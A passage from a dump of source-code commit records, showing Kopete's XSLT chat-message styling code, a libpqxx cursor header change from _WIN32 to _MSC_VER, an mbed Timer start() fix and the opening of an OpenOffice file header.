Martijn\n\t\tdelete this;\n\t}\n}\n\nQString KopeteXSLThread::xsltTransform( const QString &xmlString, const QCString &xslCString )\n{\n\t\/\/ Init Stuff\n\txmlLoadExtDtdDefaultValue = 0;\n\txmlSubstituteEntitiesDefault( 1 );\n\n\t\/\/ Convert QString into a C string\n\tQCString xmlCString = xmlString.utf8();\n\n\tQString resultString;\n\tQString errorMsg;\n\n\t\/\/ Read XML docs in from memory\n\txmlDocPtr xmlDoc = xmlParseMemory( xmlCString, xmlCString.length() );\n\tif ( xmlDoc )\n\t{\n\t\txmlDocPtr xslDoc = xmlParseMemory( xslCString, xslCString.length() );\n\t\tif ( xslDoc )\n\t\t{\n\t\t\txsltStylesheetPtr styleSheet = xsltParseStylesheetDoc( xslDoc );\n\t\t\tif ( styleSheet )\n\t\t\t{\n\t\t\t\txmlDocPtr resultDoc = xsltApplyStylesheet( styleSheet, xmlDoc, NULL );\n\t\t\t\tif ( resultDoc )\n\t\t\t\t{\n\t\t\t\t\t\/\/ Save the result into the QString\n\t\t\t\t\txmlChar *mem;\n\t\t\t\t\tint size;\n\t\t\t\t\txmlDocDumpMemory( resultDoc, &mem, &size );\n\t\t\t\t\tresultString = QString::fromUtf8( QCString( ( char * )( mem ), size + 1 ) );\n\t\t\t\t\tfree( mem );\n\t\t\t\t\txmlFreeDoc( resultDoc );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\terrorMsg = i18n( \"Transformed document is null!\" );\n\t\t\t\t}\n\t\t\t\txsltFreeStylesheet( styleSheet );\n\n\t\t\t\t\/\/ FIXME: No xmlFreeDoc( xslDoc ) here? - Martijn\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\terrorMsg = i18n( \"Document is not valid XSL!\" );\n\t\t\t\txmlFreeDoc( xslDoc );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\terrorMsg = i18n( \"XSL document could not be parsed!\" );\n\t\t}\n\t\txmlFreeDoc( xmlDoc );\n\t}\n\telse\n\t{\n\t\terrorMsg = i18n( \"XML document could not be parsed!\" );\n\t}\n\n\tif ( resultString.isEmpty() )\n\t\tresultString = i18n( \"<div><b>An internal Kopete error occurred while parsing a message:<\/b><br \/>%1<\/div>\" ).arg( errorMsg );\n\n\treturn resultString;\n}\n\nclass KopeteXSLTPrivate\n{\npublic:\n\tQCString document;\n};\n\nKopeteXSLT::KopeteXSLT( const QString &document, QObject *parent )\n: QObject( parent )\n{\n\td = new KopeteXSLTPrivate;\n\n\tsetXSLT( document );\n}\n\nKopeteXSLT::~KopeteXSLT()\n{\n\tdelete d;\n}\n\nvoid KopeteXSLT::setXSLT( const QString &_document )\n{\n\t\/\/ Search for '<kopete-i18n>' elements and feed them through i18n().\n\t\/\/ After that replace the %VAR% variables with their proper XSLT counterpart.\n\t\/\/\n\t\/\/ FIXME: Preprocessing the document using the QString API is fast and simple,\n\t\/\/        but also error-sensitive.\n\t\/\/        In fact, there are a couple of known issues with this algorithm that\n\t\/\/        depend on the strings in the current styles. If these strings change\n\t\/\/        they may break the parsing here.\n\t\/\/\n\t\/\/        The reason I'm doing it like this is because of issues with QDOM and\n\t\/\/        namespaces in earlier Qt versions. When we drop Qt 3.1.x support we\n\t\/\/        should probably convert this to more accurate DOM code. - Martijn\n\tQRegExp elementMatch( QString::fromLatin1( \"<kopete-i18n>(.*)<\/kopete-i18n>\" ) );\n\telementMatch.setMinimal( true );\n\tQString document = _document;\n\tint pos;\n\twhile ( ( pos = elementMatch.search( document ) ) != -1 )\n\t{\n\t\tQString orig = elementMatch.cap( 1 );\n\t\t\/\/kdDebug( 14010 ) << k_funcinfo << \"Original text: \" << orig << endl;\n\n\t\t\/\/ Split on % and go over all parts\n\t\tQStringList parts = QStringList::split( '%', i18n( orig.utf8() ), true );\n\n\t\t\/\/ The first part is always text, as our variables are written like %FOO%\n\t\tQStringList::Iterator it = parts.begin();\n\t\tQString trans = *it;\n\t\tbool prependPercent = true;\n\t\tit = parts.remove( it );\n\t\tfor ( it = parts.begin(); it != parts.end(); ++it )\n\t\t{\n\t\t\tprependPercent = false;\n\t\t\tif ( *it == QString::fromLatin1( \"TIME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of select=\\\"@time\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_CONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:choose>\"\n\t\t\t\t\t\t\"<xsl:when test='from\/contact\/@contactId=from\/contact\/@metaContactDisplayName'>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:when>\"\n\t\t\t\t\t\t\"<xsl:otherwise>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\t\"&#160;<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@metaContactDisplayName\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:otherwise>\"\n\t\t\t\t\t\"<\/xsl:choose><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactDisplayName\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_CONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:choose>\"\n\t\t\t\t\t\t\"<xsl:when test='to\/contact\/@contactId=to\/contact\/@metaContactDisplayName'>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:when>\"\n\t\t\t\t\t\t\"<xsl:otherwise>\"\n\t\t\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/>\"\n\t\t\t\t\t\t\t\"&#160;<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@metaContactDisplayName\\\"\/>\"\n\t\t\t\t\t\t\"<\/xsl:otherwise>\"\n\t\t\t\t\t\"<\/xsl:choose><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactDisplayName\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_METACONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@metaContactDisplayName\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_METACONTACT_DISPLAYNAME\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@metaContactDisplayName\\\"\/>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"FROM_CONTACT_ID\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactDisplayName\\\"\/><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"from\/contact\/@contactId\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"TO_CONTACT_ID\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<span><xsl:attribute name=\\\"title\\\">\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactDisplayName\\\"\/><\/xsl:attribute>\"\n\t\t\t\t\t\"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"to\/contact\/@contactId\\\"\/><\/span>\" );\n\t\t\t}\n\t\t\telse if ( *it == QString::fromLatin1( \"BODY\" ) )\n\t\t\t{\n\t\t\t\ttrans += QString::fromLatin1( \"<xsl:value-of disable-output-escaping=\\\"yes\\\" select=\\\"body\\\"\/>\" );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ( prependPercent )\n\t\t\t\t\ttrans += '%';\n\t\t\t\ttrans += *it;\n\t\t\t\tprependPercent = true;\n\t\t\t}\n\t\t}\n\t\t\/\/kdDebug( 14010 ) << k_funcinfo << \"Translated text: \" << trans << endl;\n\t\t\/\/ Add \"<kopete-i18n>\" and \"<\/kopete-i18n>\" to length, hence the '+ 27'\n\t\tdocument.replace( uint( pos ), orig.length() + 27, trans );\n\t}\n\td->document = document.utf8();\n}\n\nQString KopeteXSLT::transform( const QString &xmlString )\n{\n\treturn KopeteXSLThread::xsltTransform( xmlString, d->document );\n}\n\nvoid KopeteXSLT::transformAsync( const QString &xmlString, QObject *target, const char *slotCompleted )\n{\n\t( new KopeteXSLThread( xmlString, d->document, target, slotCompleted ) )->start();\n}\n\nbool KopeteXSLT::isValid()\n{\n\tbool retVal = false;\n\n\t\/\/ Init Stuff\n\txmlLoadExtDtdDefaultValue = 0;\n\txmlSubstituteEntitiesDefault( 1 );\n\n\txmlDocPtr xslDoc = xmlParseMemory( d->document, d->document.length() );\n\tif ( xslDoc )\n\t{\n\t\txsltStylesheetPtr styleSheet = xsltParseStylesheetDoc( xslDoc );\n\t\tif ( styleSheet )\n\t\t{\n\t\t\tretVal = true;\n\t\t\txsltFreeStylesheet( styleSheet );\n\t\t}\n\t\telse\n\t\t{\n\t\t\txmlFreeDoc( xslDoc );\n\t\t}\n\t}\n\n\treturn retVal;\n}\n\n#include \"kopetexsl.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<|endoftext|>"}
{"text":"<commit_before>\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/cursor.hxx\n *\n *   DESCRIPTION\n *      definition of the iterator\/container-style cursor classes\n *   C++-style wrappers for SQL cursors\n *   DO NOT INCLUDE THIS FILE DIRECTLY; include pqxx\/pipeline instead.\n *\n * Copyright (c) 2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"pqxx\/libcompiler.h\"\n\n#include <limits>\n#include <string>\n\n#include \"pqxx\/result\"\n\n\nnamespace pqxx\n{\nclass transaction_base;\n\n\/\/\/ Common definitions for cursor types\n\/** @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT cursor_base\n{\npublic:\n  typedef result::size_type size_type;\n\n  operator void *() const { return m_done ? 0 : &s_dummy; }\t\t\/\/[t81]\n  bool operator!() const { return m_done; }\t\t\t\t\/\/[t81]\n\n  static size_type all() throw ();\t\t\t\t\t\/\/[t81]\n  static size_type next() throw () { return 1; }\t\t\t\/\/[t81]\n  static size_type prior() throw () { return -1; }\t\t\t\/\/[]\n  static size_type backward_all() throw ();\t\t\t\t\/\/[]\n\n  const PGSTD::string &name() const throw () { return m_name; }\t\t\/\/[t81]\n\nprotected:\n  cursor_base(transaction_base *context, const PGSTD::string &cname) :\n  \tm_context(context), m_done(false), m_name(cname)\n  {\n    m_name += \"_\";\n    m_name += to_string(get_unique_cursor_num());\n  }\n\n  transaction_base *m_context;\n  bool m_done;\n\nprivate:\n  int get_unique_cursor_num();\n\n  PGSTD::string m_name;\n\n  \/\/\/ Purely to give us a non-null pointer to return\n  static unsigned char s_dummy;\n\n  \/\/\/ Not allowed\n  cursor_base();\n  \/\/\/ Not allowed\n  cursor_base(const cursor_base &);\n  \/\/\/ Not allowed\n  cursor_base &operator=(const cursor_base &);\n};\n\n\ninline cursor_base::size_type cursor_base::all() throw ()\n{\n#ifdef _WIN32\n  \/\/ Microsoft's compiler defines max() and min() macros!  Others may as well\n  return INT_MAX;\n#else\n  return PGSTD::numeric_limits<size_type>::max();\n#endif\n}\n\ninline cursor_base::size_type cursor_base::backward_all() throw ()\n{\n#ifdef _WIN32\n  \/\/ Microsoft's compiler defines max() and min() macros!  Others may as well\n  return INT_MIN + 1;\n#else\n  return PGSTD::numeric_limits<size_type>::min() + 1;\n#endif\n}\n\n\/\/\/ Simple read-only cursor represented as a stream of results\n\/** Data is fetched from the cursor as a sequence of result objects.  Each of\n * these will contain the number of rows defined as the stream's stride, except\n * of course the last block of data which may contain fewer rows.\n *\n * @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT icursorstream : public cursor_base\n{\npublic:\n  \/\/\/ Set up a read-only, forward-only cursor\n  \/** Roughly equivalent to a C++ Standard Library istream, this cursor type\n   * supports only two operations: reading a block of rows while moving forward,\n   * and moving forward without reading any data.\n   *\n   * @param context transaction context that this cursor will be active in\n   * @param query SQL query whose results this cursor shall iterate\n   * @param basename suggested name for the SQL cursor; a unique code will be\n   * appended by the library to ensure its uniqueness\n   * @param stride the number of rows to fetch per read operation; must be a\n   * positive number\n   *\/\n  icursorstream(transaction_base &context,\n      const PGSTD::string &query,\n      const PGSTD::string &basename,\n      size_type stride=1);\t\t\t\t\t\t\/\/[t81]\n\n  \/\/\/ Read new value into given result object; same as operator >>\n  \/** The result set may continue any number of rows from zero to the chosen\n   * stride, inclusive.  An empty result will only be returned if there are no\n   * more rows to retrieve.\n   *\/\n  icursorstream &get(result &res) { res = fetch(); return *this; }\t\/\/[]\n  \/\/\/ Read new value into given result object; same as get(result &)\n  \/** The result set may continue any number of rows from zero to the chosen\n   * stride, inclusive.  An empty result will only be returned if there are no\n   * more rows to retrieve.\n   *\/\n  icursorstream &operator>>(result &res) { return get(res); }\t\t\/\/[t81]\n  \/\/\/ Move given number of rows forward (ignoring stride) without reading data\n  icursorstream &ignore(PGSTD::streamsize n=1);\t\t\t\t\/\/[]\n\n  \/\/\/ Change stride, i.e. the number of rows to fetch per read operation\n  \/**\n   * @param stride must be a positive number\n   *\/\n  void set_stride(size_type stride);\t\t\t\t\t\/\/[t81]\n\nprivate:\n  void declare(const PGSTD::string &query);\n  result fetch();\n\n  size_type m_stride;\n};\n\n\n\/\/\/ Approximate istream_iterator for icursorstream\n\/** A rough equivalent of the C++ Standard Library's istream_iterator or\n * input_iterator, this class supports only two basic operations: reading the\n * current element, and moving forward.  In addition to the minimal guarantees\n * for istream_iterators, this class supports multiple successive reads of the\n * same position (the current result set is cached in the iterator) even after\n * copying and even after new data have been read from the stream.\n *\n * The iterator has no concept of its own position, however.  Moving an iterator\n * forward moves the underlying stream forward and reads the data from the new\n * position, regardless of \"where the iterator was\" in the stream.  Comparison\n * of iterators is only supported for detecting the end of a stream.\n *\n * @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT icursor_iterator : \n  public PGSTD::iterator<PGSTD::input_iterator_tag, \n  \tresult,\n\tcursor_base::size_type,\n\tconst result *,\n\tconst result &>\n{\npublic:\n  typedef icursorstream istream_type;\n  typedef istream_type::size_type size_type;\n\n  icursor_iterator() : m_stream(0), m_here(), m_fresh(true) {}\t\t\/\/[]\n  icursor_iterator(istream_type &s) :\t\t\t\t\t\/\/[]\n    m_stream(&s), m_here(), m_fresh(false) {}\n  icursor_iterator(const icursor_iterator &rhs) : \t\t\t\/\/[]\n    m_stream(rhs.m_stream), m_here(rhs.m_here), m_fresh(rhs.m_fresh) {}\n\n  const result &operator*() const { refresh(); return m_here; }\t\t\/\/[]\n  const result *operator->() const { refresh(); return &m_here; }\t\/\/[]\n\n  icursor_iterator &operator++() { read(); return *this; }\t\t\/\/[]\n\n  icursor_iterator operator++(int)\t\t\t\t\t\/\/[]\n  \t{ icursor_iterator old(*this); read(); return old; }\n\n  icursor_iterator &operator+=(size_type n)\t\t\t\t\/\/[]\n  {\n    m_stream->ignore(n);\n    m_fresh = false;\n    return *this;\n  }\n\n  icursor_iterator &operator=(const icursor_iterator &rhs)\t\t\/\/[]\n  {\n    m_here = rhs.m_here;\t\/\/ (Already protected against self-assignment)\n    m_stream = rhs.m_stream;\t\/\/ (Does not throw, so we're exception-safe)\n    m_fresh = rhs.m_fresh;\n    return *this;\n  }\n\n  bool operator==(const icursor_iterator &rhs) const throw ()\t\t\/\/[]\n  \t{ return m_here.empty() && rhs.m_here.empty(); }\n  bool operator!=(const icursor_iterator &rhs) const throw ()\t\t\/\/[]\n  \t{ return !operator==(rhs); }\n\nprivate:\n  void read() const\n  {\n    m_stream->get(m_here);\n    m_fresh = true;\n  }\n  void refresh() const { if (!m_fresh) read(); }\n  icursorstream *m_stream;\n  mutable result m_here;\n  mutable bool m_fresh;\n};\n\n\n} \/\/ namespace pqxx\n\n<commit_msg>Fixed ifdefs for MSVC compiler workaround<commit_after>\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/cursor.hxx\n *\n *   DESCRIPTION\n *      definition of the iterator\/container-style cursor classes\n *   C++-style wrappers for SQL cursors\n *   DO NOT INCLUDE THIS FILE DIRECTLY; include pqxx\/pipeline instead.\n *\n * Copyright (c) 2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"pqxx\/libcompiler.h\"\n\n#include <limits>\n#include <string>\n\n#include \"pqxx\/result\"\n\n\nnamespace pqxx\n{\nclass transaction_base;\n\n\/\/\/ Common definitions for cursor types\n\/** @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT cursor_base\n{\npublic:\n  typedef result::size_type size_type;\n\n  operator void *() const { return m_done ? 0 : &s_dummy; }\t\t\/\/[t81]\n  bool operator!() const { return m_done; }\t\t\t\t\/\/[t81]\n\n  static size_type all() throw ();\t\t\t\t\t\/\/[t81]\n  static size_type next() throw () { return 1; }\t\t\t\/\/[t81]\n  static size_type prior() throw () { return -1; }\t\t\t\/\/[]\n  static size_type backward_all() throw ();\t\t\t\t\/\/[]\n\n  const PGSTD::string &name() const throw () { return m_name; }\t\t\/\/[t81]\n\nprotected:\n  cursor_base(transaction_base *context, const PGSTD::string &cname) :\n  \tm_context(context), m_done(false), m_name(cname)\n  {\n    m_name += \"_\";\n    m_name += to_string(get_unique_cursor_num());\n  }\n\n  transaction_base *m_context;\n  bool m_done;\n\nprivate:\n  int get_unique_cursor_num();\n\n  PGSTD::string m_name;\n\n  \/\/\/ Purely to give us a non-null pointer to return\n  static unsigned char s_dummy;\n\n  \/\/\/ Not allowed\n  cursor_base();\n  \/\/\/ Not allowed\n  cursor_base(const cursor_base &);\n  \/\/\/ Not allowed\n  cursor_base &operator=(const cursor_base &);\n};\n\n\ninline cursor_base::size_type cursor_base::all() throw ()\n{\n#ifdef _MSC_VER\n  \/\/ Microsoft's compiler defines max() and min() macros!  Others may as well\n  return INT_MAX;\n#else\n  return PGSTD::numeric_limits<size_type>::max();\n#endif\n}\n\ninline cursor_base::size_type cursor_base::backward_all() throw ()\n{\n#ifdef _MSC_VER\n  \/\/ Microsoft's compiler defines max() and min() macros!  Others may as well\n  return INT_MIN + 1;\n#else\n  return PGSTD::numeric_limits<size_type>::min() + 1;\n#endif\n}\n\n\/\/\/ Simple read-only cursor represented as a stream of results\n\/** Data is fetched from the cursor as a sequence of result objects.  Each of\n * these will contain the number of rows defined as the stream's stride, except\n * of course the last block of data which may contain fewer rows.\n *\n * @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT icursorstream : public cursor_base\n{\npublic:\n  \/\/\/ Set up a read-only, forward-only cursor\n  \/** Roughly equivalent to a C++ Standard Library istream, this cursor type\n   * supports only two operations: reading a block of rows while moving forward,\n   * and moving forward without reading any data.\n   *\n   * @param context transaction context that this cursor will be active in\n   * @param query SQL query whose results this cursor shall iterate\n   * @param basename suggested name for the SQL cursor; a unique code will be\n   * appended by the library to ensure its uniqueness\n   * @param stride the number of rows to fetch per read operation; must be a\n   * positive number\n   *\/\n  icursorstream(transaction_base &context,\n      const PGSTD::string &query,\n      const PGSTD::string &basename,\n      size_type stride=1);\t\t\t\t\t\t\/\/[t81]\n\n  \/\/\/ Read new value into given result object; same as operator >>\n  \/** The result set may continue any number of rows from zero to the chosen\n   * stride, inclusive.  An empty result will only be returned if there are no\n   * more rows to retrieve.\n   *\/\n  icursorstream &get(result &res) { res = fetch(); return *this; }\t\/\/[]\n  \/\/\/ Read new value into given result object; same as get(result &)\n  \/** The result set may continue any number of rows from zero to the chosen\n   * stride, inclusive.  An empty result will only be returned if there are no\n   * more rows to retrieve.\n   *\/\n  icursorstream &operator>>(result &res) { return get(res); }\t\t\/\/[t81]\n  \/\/\/ Move given number of rows forward (ignoring stride) without reading data\n  icursorstream &ignore(PGSTD::streamsize n=1);\t\t\t\t\/\/[]\n\n  \/\/\/ Change stride, i.e. the number of rows to fetch per read operation\n  \/**\n   * @param stride must be a positive number\n   *\/\n  void set_stride(size_type stride);\t\t\t\t\t\/\/[t81]\n\nprivate:\n  void declare(const PGSTD::string &query);\n  result fetch();\n\n  size_type m_stride;\n};\n\n\n\/\/\/ Approximate istream_iterator for icursorstream\n\/** A rough equivalent of the C++ Standard Library's istream_iterator or\n * input_iterator, this class supports only two basic operations: reading the\n * current element, and moving forward.  In addition to the minimal guarantees\n * for istream_iterators, this class supports multiple successive reads of the\n * same position (the current result set is cached in the iterator) even after\n * copying and even after new data have been read from the stream.\n *\n * The iterator has no concept of its own position, however.  Moving an iterator\n * forward moves the underlying stream forward and reads the data from the new\n * position, regardless of \"where the iterator was\" in the stream.  Comparison\n * of iterators is only supported for detecting the end of a stream.\n *\n * @warning This code is experimental.  It is not fully covered by libpqxx'\n * regression tests, and may see considerable change before becoming part of a\n * stable release.  Use with care.\n *\/\nclass PQXX_LIBEXPORT icursor_iterator : \n  public PGSTD::iterator<PGSTD::input_iterator_tag, \n  \tresult,\n\tcursor_base::size_type,\n\tconst result *,\n\tconst result &>\n{\npublic:\n  typedef icursorstream istream_type;\n  typedef istream_type::size_type size_type;\n\n  icursor_iterator() : m_stream(0), m_here(), m_fresh(true) {}\t\t\/\/[]\n  icursor_iterator(istream_type &s) :\t\t\t\t\t\/\/[]\n    m_stream(&s), m_here(), m_fresh(false) {}\n  icursor_iterator(const icursor_iterator &rhs) : \t\t\t\/\/[]\n    m_stream(rhs.m_stream), m_here(rhs.m_here), m_fresh(rhs.m_fresh) {}\n\n  const result &operator*() const { refresh(); return m_here; }\t\t\/\/[]\n  const result *operator->() const { refresh(); return &m_here; }\t\/\/[]\n\n  icursor_iterator &operator++() { read(); return *this; }\t\t\/\/[]\n\n  icursor_iterator operator++(int)\t\t\t\t\t\/\/[]\n  \t{ icursor_iterator old(*this); read(); return old; }\n\n  icursor_iterator &operator+=(size_type n)\t\t\t\t\/\/[]\n  {\n    m_stream->ignore(n);\n    m_fresh = false;\n    return *this;\n  }\n\n  icursor_iterator &operator=(const icursor_iterator &rhs)\t\t\/\/[]\n  {\n    m_here = rhs.m_here;\t\/\/ (Already protected against self-assignment)\n    m_stream = rhs.m_stream;\t\/\/ (Does not throw, so we're exception-safe)\n    m_fresh = rhs.m_fresh;\n    return *this;\n  }\n\n  bool operator==(const icursor_iterator &rhs) const throw ()\t\t\/\/[]\n  \t{ return m_here.empty() && rhs.m_here.empty(); }\n  bool operator!=(const icursor_iterator &rhs) const throw ()\t\t\/\/[]\n  \t{ return !operator==(rhs); }\n\nprivate:\n  void read() const\n  {\n    m_stream->get(m_here);\n    m_fresh = true;\n  }\n  void refresh() const { if (!m_fresh) read(); }\n  icursorstream *m_stream;\n  mutable result m_here;\n  mutable bool m_fresh;\n};\n\n\n} \/\/ namespace pqxx\n\n<|endoftext|>"}
{"text":"<commit_before>\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"Timer.h\"\n#include \"us_ticker_api.h\"\n\nnamespace mbed {\n\nTimer::Timer() : _running(), _start(), _time() {\n    reset();\n}\n\nvoid Timer::start() {\n    _start = us_ticker_read();\n    _running = 1;\n}\n\nvoid Timer::stop() {\n    _time += slicetime();\n    _running = 0;\n}\n\nint Timer::read_us() {\n    return _time + slicetime();\n}\n\nfloat Timer::read() {\n    return (float)read_us() \/ 1000000.0f;\n}\n\nint Timer::read_ms() {\n    return read_us() \/ 1000;\n}\n\nint Timer::slicetime() {\n    if (_running) {\n        return us_ticker_read() - _start;\n    } else {\n        return 0;\n    }\n}\n\nvoid Timer::reset() {\n    _start = us_ticker_read();\n    _time = 0;\n}\n\n#ifdef MBED_OPERATORS\nTimer::operator float() {\n    return read();\n}\n#endif\n\n} \/\/ namespace mbed\n<commit_msg>[API] Timer-start behavior (bug)fix<commit_after>\/* mbed Microcontroller Library\n * Copyright (c) 2006-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"Timer.h\"\n#include \"us_ticker_api.h\"\n\nnamespace mbed {\n\nTimer::Timer() : _running(), _start(), _time() {\n    reset();\n}\n\nvoid Timer::start() {\n    if (!_running) {\n        _start = us_ticker_read();\n        _running = 1;\n    }\n}\n\nvoid Timer::stop() {\n    _time += slicetime();\n    _running = 0;\n}\n\nint Timer::read_us() {\n    return _time + slicetime();\n}\n\nfloat Timer::read() {\n    return (float)read_us() \/ 1000000.0f;\n}\n\nint Timer::read_ms() {\n    return read_us() \/ 1000;\n}\n\nint Timer::slicetime() {\n    if (_running) {\n        return us_ticker_read() - _start;\n    } else {\n        return 0;\n    }\n}\n\nvoid Timer::reset() {\n    _start = us_ticker_read();\n    _time = 0;\n}\n\n#ifdef MBED_OPERATORS\nTimer::operator float() {\n    return read();\n}\n#endif\n\n} \/\/ namespace mbed\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>coverity#984152 Uninitialized pointer field<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: SwXMLSectionList.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: obo $ $Date: 2005-01-05 11:47:12 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n 